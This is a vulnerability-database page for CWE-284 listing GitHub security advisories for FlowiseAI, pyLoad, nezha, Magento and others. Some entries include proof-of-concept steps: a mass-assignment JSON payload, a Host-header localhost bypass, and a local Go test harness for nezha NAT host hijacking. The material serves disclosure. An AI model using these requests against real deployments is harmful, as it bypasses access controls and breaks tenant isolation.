CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7802 vulnerabilities reference this CWE, most recent first.
GHSA-X5V6-PJ28-CWWM
Vulnerability from github – Published: 2026-05-14 14:52 – Updated: 2026-06-09 13:09Summary
A Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.
Details
The endpoint responsible for updating tools:
PUT /api/v1/tools/{toolId}
accepts a JSON request body containing tool metadata.
However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.
Server-controlled fields that can be manipulated include:
- workspaceId
- createdDate
- updatedDate
The request body is directly merged into the underlying database entity without proper DTO validation or authorization checks.
PoC
Authenticate to the Flowise interface.
Capture the request used to update a tool:
PUT /api/v1/tools/<TOOL_ID>
Content-Type: application/json
Modify the request body by injecting additional fields:
{
"name": "aaa",
"description": "bbb",
"color": "linear-gradient(rgb(109,215,45), rgb(136,170,134))",
"schema": "[]",
"func": "",
"iconSrc": "test",
"workspaceId": "11111111-2222-3333-4444-555555555555",
"createdDate": "1995-03-06T14:17:50.000Z",
"updatedDate": "1995-03-06T14:17:50.000Z"
}
Send the request.
Observe that the response includes the manipulated fields:
{
"workspaceId": "11111111-2222-3333-4444-555555555555",
"createdDate": "1995-03-06T14:17:50.000Z"
}
This confirms that client-controlled values are accepted and persisted by the server.
Impact
This vulnerability allows authenticated users to manipulate internal attributes of tool resources.
Confirmed impacts include:
- Cross-workspace reassignment of tools (workspaceId)
- Unauthorized modification of metadata (createdDate, updatedDate)
In multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42862"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T14:52:40Z",
"nvd_published_at": "2026-06-08T16:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\nA Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating tools:\n\n**PUT /api/v1/tools/{toolId}**\n\naccepts a JSON request body containing tool metadata.\n\nHowever, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.\n\nServer-controlled fields that can be manipulated include:\n\n1. workspaceId\n2. createdDate\n3. updatedDate\n\nThe request body is directly merged into the underlying database entity without proper DTO validation or authorization checks.\n\n### PoC\nAuthenticate to the Flowise interface.\n\nCapture the request used to update a tool:\n\n```http\nPUT /api/v1/tools/\u003cTOOL_ID\u003e\nContent-Type: application/json\n\nModify the request body by injecting additional fields:\n\n{\n \"name\": \"aaa\",\n \"description\": \"bbb\",\n \"color\": \"linear-gradient(rgb(109,215,45), rgb(136,170,134))\",\n \"schema\": \"[]\",\n \"func\": \"\",\n \"iconSrc\": \"test\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"1995-03-06T14:17:50.000Z\",\n \"updatedDate\": \"1995-03-06T14:17:50.000Z\"\n}\n\n```\nSend the request.\n\nObserve that the response includes the manipulated fields:\n\n```json\n{\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"1995-03-06T14:17:50.000Z\"\n}\n```\n\nThis confirms that client-controlled values are accepted and persisted by the server.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of tool resources.\n\nConfirmed impacts include:\n\n- Cross-workspace reassignment of tools (workspaceId)\n- Unauthorized modification of metadata (createdDate, updatedDate)\n\nIn multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries.",
"id": "GHSA-x5v6-pj28-cwwm",
"modified": "2026-06-09T13:09:57Z",
"published": "2026-05-14T14:52:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x5v6-pj28-cwwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42862"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}
GHSA-X62F-85RP-96QF
Vulnerability from github – Published: 2025-05-24 21:30 – Updated: 2025-05-24 21:30A vulnerability was found in Tmall Demo up to 20250505. It has been classified as critical. This affects the function uploadProductImage of the file tmall/admin/uploadProductImage. The manipulation of the argument File leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-5130"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-24T20:15:22Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Tmall Demo up to 20250505. It has been classified as critical. This affects the function uploadProductImage of the file tmall/admin/uploadProductImage. The manipulation of the argument File leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-x62f-85rp-96qf",
"modified": "2025-05-24T21:30:29Z",
"published": "2025-05-24T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5130"
},
{
"type": "WEB",
"url": "https://github.com/bdkuzma/vuln/issues/9"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.310209"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.310209"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.571893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X63F-7PQQ-C59R
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2025-04-02 15:30The vRealize Log Insight contains a broken access control vulnerability. An unauthenticated malicious actor can remotely inject code into sensitive files of an impacted appliance which can result in remote code execution.
{
"affected": [],
"aliases": [
"CVE-2022-31704"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T21:15:00Z",
"severity": "CRITICAL"
},
"details": "The vRealize Log Insight contains a broken access control vulnerability. An unauthenticated malicious actor can remotely inject code into sensitive files of an impacted appliance which can result in remote code execution.",
"id": "GHSA-x63f-7pqq-c59r",
"modified": "2025-04-02T15:30:30Z",
"published": "2023-01-26T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31704"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/174606"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2023-0001.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/174606/VMware-vRealize-Log-Insight-Unauthenticated-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X645-2MXV-M94W
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:25cPanel before 11.52.0.13 does not prevent arbitrary file-read operations via get_information_for_applications (CPANEL-1221).
{
"affected": [],
"aliases": [
"CVE-2015-9291"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-01T15:15:00Z",
"severity": "HIGH"
},
"details": "cPanel before 11.52.0.13 does not prevent arbitrary file-read operations via get_information_for_applications (CPANEL-1221).",
"id": "GHSA-x645-2mxv-m94w",
"modified": "2024-04-04T01:25:44Z",
"published": "2022-05-24T16:51:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9291"
},
{
"type": "WEB",
"url": "https://documentation.cpanel.net/display/CL/11.52+Change+Log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X65V-G96X-C6GW
Vulnerability from github – Published: 2025-03-24 21:30 – Updated: 2025-03-26 19:48An issue in the Shiro-based RBAC (Role-based Access Control) mechanism of OpenDaylight Service Function Chaining (SFC) Subproject SFC Sodium-SR4 and below allows attackers to execute privileged operations via a crafted request.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.opendaylight.sfc:sfc-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-29315"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-26T19:48:26Z",
"nvd_published_at": "2025-03-24T21:15:18Z",
"severity": "CRITICAL"
},
"details": "An issue in the Shiro-based RBAC (Role-based Access Control) mechanism of OpenDaylight Service Function Chaining (SFC) Subproject SFC Sodium-SR4 and below allows attackers to execute privileged operations via a crafted request.",
"id": "GHSA-x65v-g96x-c6gw",
"modified": "2025-03-26T19:48:26Z",
"published": "2025-03-24T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29315"
},
{
"type": "WEB",
"url": "https://blog.csdn.net/weixin_43959580/article/details/144794289"
},
{
"type": "PACKAGE",
"url": "https://github.com/opendaylight/sfc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenDaylight SFC Allows Unauthorized Privileged Execution via Crafted Request"
}
GHSA-X67X-54J5-HMQX
Vulnerability from github – Published: 2022-05-14 01:05 – Updated: 2022-05-14 01:05Active Directory in Microsoft Windows Server 2008 R2 SP1 and Server 2012 Gold and R2 allows remote authenticated users to cause a denial of service (service hang) by creating many machine accounts, aka "Active Directory Denial of Service Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2016-3226"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-06-16T01:59:00Z",
"severity": "MODERATE"
},
"details": "Active Directory in Microsoft Windows Server 2008 R2 SP1 and Server 2012 Gold and R2 allows remote authenticated users to cause a denial of service (service hang) by creating many machine accounts, aka \"Active Directory Denial of Service Vulnerability.\"",
"id": "GHSA-x67x-54j5-hmqx",
"modified": "2022-05-14T01:05:06Z",
"published": "2022-05-14T01:05:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3226"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-081"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X698-5HJM-W2M5
Vulnerability from github – Published: 2025-07-08 21:36 – Updated: 2025-07-08 23:38Summary
Any unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages.
Details
Any unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages. This is done by changing the Host header to the value of 127.0.0.1:9666.
PoC
The application has middleware that prevents access to several routes by checking whether the Host header has a specific value. We bypassed this restriction.
https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36
#: decorator
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Below we see that the '/flash/add' endpoint uses the middleware above.
https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11
@bp.route("/flash/add", methods=["POST"], endpoint="add")
@local_check
def add():
Notice how we are not authorized to access this endpoint when sending a request.

However, if we set the Host header to be 127.0.0.1:9666, we notice the request returns success.

Checking the front end as an admin, we now see that this did indeed succeed.

Impact
An unauthenticated user can perform actions that should only be available to authenticated users.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev88"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7346"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-08T21:36:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages.\n\n### Details\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages. This is done by changing the `Host` header to the value of `127.0.0.1:9666`.\n\n### PoC\nThe application has middleware that prevents access to several routes by checking whether the `Host` header has a specific value. We bypassed this restriction.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36\n```python\n#: decorator\ndef local_check(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n \"127.0.0.1:9666\",\n \"[::1]:9666\",\n ):\n return func(*args, **kwargs)\n else:\n return \"Forbidden\", 403\n\n return wrapper\n```\n\nBelow we see that the \u0027/flash/add\u0027 endpoint uses the middleware above.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11\n```python\n@bp.route(\"/flash/add\", methods=[\"POST\"], endpoint=\"add\")\n@local_check\ndef add():\n```\n\nNotice how we are not authorized to access this endpoint when sending a request.\n\n\nHowever, if we set the `Host` header to be `127.0.0.1:9666`, we notice the request returns `success`.\n\n\nChecking the front end as an admin, we now see that this did indeed succeed.\n\n\n### Impact\nAn unauthenticated user can perform actions that should only be available to authenticated users.",
"id": "GHSA-x698-5hjm-w2m5",
"modified": "2025-07-08T23:38:45Z",
"published": "2025-07-08T21:36:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-x698-5hjm-w2m5"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/f4e2d12416ba2dfac7b036d5c8d6dab5461b9840"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad is vulnerable to attacks that bypass localhost restrictions, enabling the creation of arbitrary packages"
}
GHSA-X6F9-HV9R-FGQ4
Vulnerability from github – Published: 2024-08-14 12:35 – Updated: 2025-10-23 22:22Magento versions 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and disclose minor information. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/project-community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.7-beta1"
},
{
"fixed": "2.4.7-p2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.6-p1"
},
{
"fixed": "2.4.6-p7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4-p10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.7"
]
}
],
"aliases": [
"CVE-2024-39414"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-23T22:22:53Z",
"nvd_published_at": "2024-08-14T12:15:28Z",
"severity": "MODERATE"
},
"details": "Magento versions 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and disclose minor information. Exploitation of this issue does not require user interaction.",
"id": "GHSA-x6f9-hv9r-fgq4",
"modified": "2025-10-23T22:22:53Z",
"published": "2024-08-14T12:35:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39414"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb24-61.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento Improper Access Control Leads to Privilege escalation"
}
GHSA-X6FG-52VR-HJ4W
Vulnerability from github – Published: 2026-06-26 23:00 – Updated: 2026-06-26 23:00Summary
An authenticated non-admin user who owns any server can create or update a NAT profile whose domain is equal to the dashboard's own HTTP Host (for example, dashboard.example:8008). The dashboard's top-level HTTP/gRPC multiplexer checks NATShared.GetNATConfigByDomain(r.Host) before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard.
A disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into ServeNAT, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator.
Tested locally against commit 8b5e382fe217107c7b777ea9c6b4bc3d2e156202 of github.com/nezhahq/nezha.
Details
The NAT management API is exposed to any authenticated user, not just administrators: auth.POST("/nat", commonHandler(createNAT)) and auth.PATCH("/nat/:id", commonHandler(updateNAT)) are registered in cmd/dashboard/controller/controller.go:147-150.
createNAT accepts the request body into model.NATForm, verifies only that the selected server exists and server.HasPermission(c) succeeds, then stores the caller-controlled nf.Domain directly into n.Domain and updates the shared NAT cache (cmd/dashboard/controller/nat.go:48-80). updateNAT performs the same assignment after checking ownership of the selected server and existing NAT record (cmd/dashboard/controller/nat.go:96-140). NATForm.Domain is an unconstrained string with no reserved-host or host-ownership validation (model/nat_api.go:3-9), and model.NAT.Domain is only globally unique in the database (model/nat.go:3-10).
The singleton NAT cache indexes persisted NAT profiles directly by profile.Domain in NewNATClass (service/singleton/nat.go:17-25) and writes updates into the same map with c.list[n.Domain] = n (service/singleton/nat.go:37-45). Runtime lookup is an exact map lookup of the incoming Host string (service/singleton/nat.go:65-69).
The routing boundary is global: newHTTPandGRPCMux checks singleton.NATShared.GetNATConfigByDomain(r.Host) before it checks for gRPC or invokes the dashboard HTTP handler (cmd/dashboard/main.go:207-225). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (cmd/dashboard/main.go:209-214). If it is enabled, the router calls rpc.ServeNAT(w, r, natConfig) and returns (cmd/dashboard/main.go:216-217).
ServeNAT selects the server from the NAT profile, requires that server's task stream to be online, sends a TaskTypeNAT task containing the NAT target host, then calls utils.NewRequestWrapper(r, w) and attaches the wrapped original request to the IO stream (cmd/dashboard/rpc/rpc.go:142-204). The request wrapper serializes the original request with req.Write(buf), which includes the request line and headers, before streaming it over the hijacked connection (pkg/utils/request_wrapper.go:19-31). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name.
Default/common exposure evidence: the dashboard binary is the primary shipped component of module github.com/nezhahq/nezha (go.mod:1), listens on port 8008 when listen_port is unset (model/config.go:146-148), and the Dockerfile exposes 8008 (Dockerfile:14-18). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server.
False-positive checks performed:
- The NAT routes are authenticated but not admin-only (
cmd/dashboard/controller/controller.go:147-150). - The only create-time authorization check is ownership of the selected server (
cmd/dashboard/controller/nat.go:56-65), not authority over the claimed Host. - The update path likewise accepts a caller-controlled replacement domain after ownership checks (
cmd/dashboard/controller/nat.go:109-139). - The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (
service/singleton/nat.go:17-25,service/singleton/nat.go:37-45,service/singleton/nat.go:65-69). - The top-level mux checks NAT before dashboard/gRPC routing (
cmd/dashboard/main.go:207-225). - A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure.
Candidate score: 16/18.
- Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths.
- Attacker control: 2 —
NATForm.Domainis directly controlled by the authenticated caller. - Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required.
- Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard.
- Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found.
- Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API.
- Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database.
- Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router.
- False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout.
Exploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact ServeNAT source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent.
PoC
The following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported newHTTPandGRPCMux, and removes all temporary files on exit. It does not start a public listener or contact external systems.
Run from a clean checkout of commit 8b5e382fe217107c7b777ea9c6b4bc3d2e156202:
cleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2>/dev/null || true; }
cleanup
mkdir -p cmd/dashboard/docs
printf 'placeholder' > cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt
printf 'placeholder' > cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt
cat > cmd/dashboard/docs/docs.go <<'EOF'
package docs
var SwaggerInfo = struct{ Version string }{Version: "test"}
EOF
cat > cmd/dashboard/nat_host_claim_tmp_test.go <<'EOF'
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/service/singleton"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
)
func TestNATDomainPreemptsDashboardHost(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "nezha-nat-host-poc.sqlite")
db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{})
if err != nil {
t.Fatal(err)
}
singleton.DB = db
if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil {
t.Fatal(err)
}
member := model.User{Username: "member", Role: model.RoleMember, Password: "unused"}
if err := db.Create(&member).Error; err != nil {
t.Fatal(err)
}
server := model.Server{Common: model.Common{UserID: member.ID}, UUID: "11111111-1111-1111-1111-111111111111", Name: "member-agent"}
if err := db.Create(&server).Error; err != nil {
t.Fatal(err)
}
nat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: "dashboard.example:8008", Host: "127.0.0.1:18080", ServerID: server.ID, Name: "claim-dashboard-host"}
if err := db.Create(&nat).Error; err != nil {
t.Fatal(err)
}
singleton.NATShared = singleton.NewNATClass()
httpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusTeapot)
_, _ = w.Write([]byte("dashboard handler reached"))
})
grpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusAccepted)
})
h := newHTTPandGRPCMux(httpHandler, grpcHandler)
req := httptest.NewRequest(http.MethodGet, "http://dashboard.example:8008/api/v1/profile", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code == http.StatusTeapot || rec.Body.String() == "dashboard handler reached" {
t.Fatalf("dashboard handler was reached despite claimed NAT host: code=%d body=%q", rec.Code, rec.Body.String())
}
fmt.Fprintf(os.Stdout, "positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\n", req.Host, nat.ID, rec.Code)
controlReq := httptest.NewRequest(http.MethodGet, "http://other.example:8008/api/v1/profile", nil)
controlRec := httptest.NewRecorder()
h.ServeHTTP(controlRec, controlReq)
if controlRec.Code != http.StatusTeapot || controlRec.Body.String() != "dashboard handler reached" {
t.Fatalf("control host did not reach dashboard handler: code=%d body=%q", controlRec.Code, controlRec.Body.String())
}
fmt.Fprintf(os.Stdout, "control: Host %s missed NAT and reached dashboard handler with status=%d\n", controlReq.Host, controlRec.Code)
}
EOF
trap cleanup EXIT
GOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v
Observed vulnerable output in this environment:
=== RUN TestNATDomainPreemptsDashboardHost
positive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403
control: Host other.example:8008 missed NAT and reached dashboard handler with status=418
--- PASS: TestNATDomainPreemptsDashboardHost (0.11s)
PASS
ok github.com/nezhahq/nezha/cmd/dashboard 0.132s
Expected vulnerable output: the positive request for dashboard.example:8008 must not return the dashboard handler's 418 response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for other.example:8008 must reach the dashboard handler and return 418 with body dashboard handler reached.
Cleanup: the shell trap cleanup EXIT removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under t.TempDir() and removed by Go's test cleanup.
Final re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above.
Impact
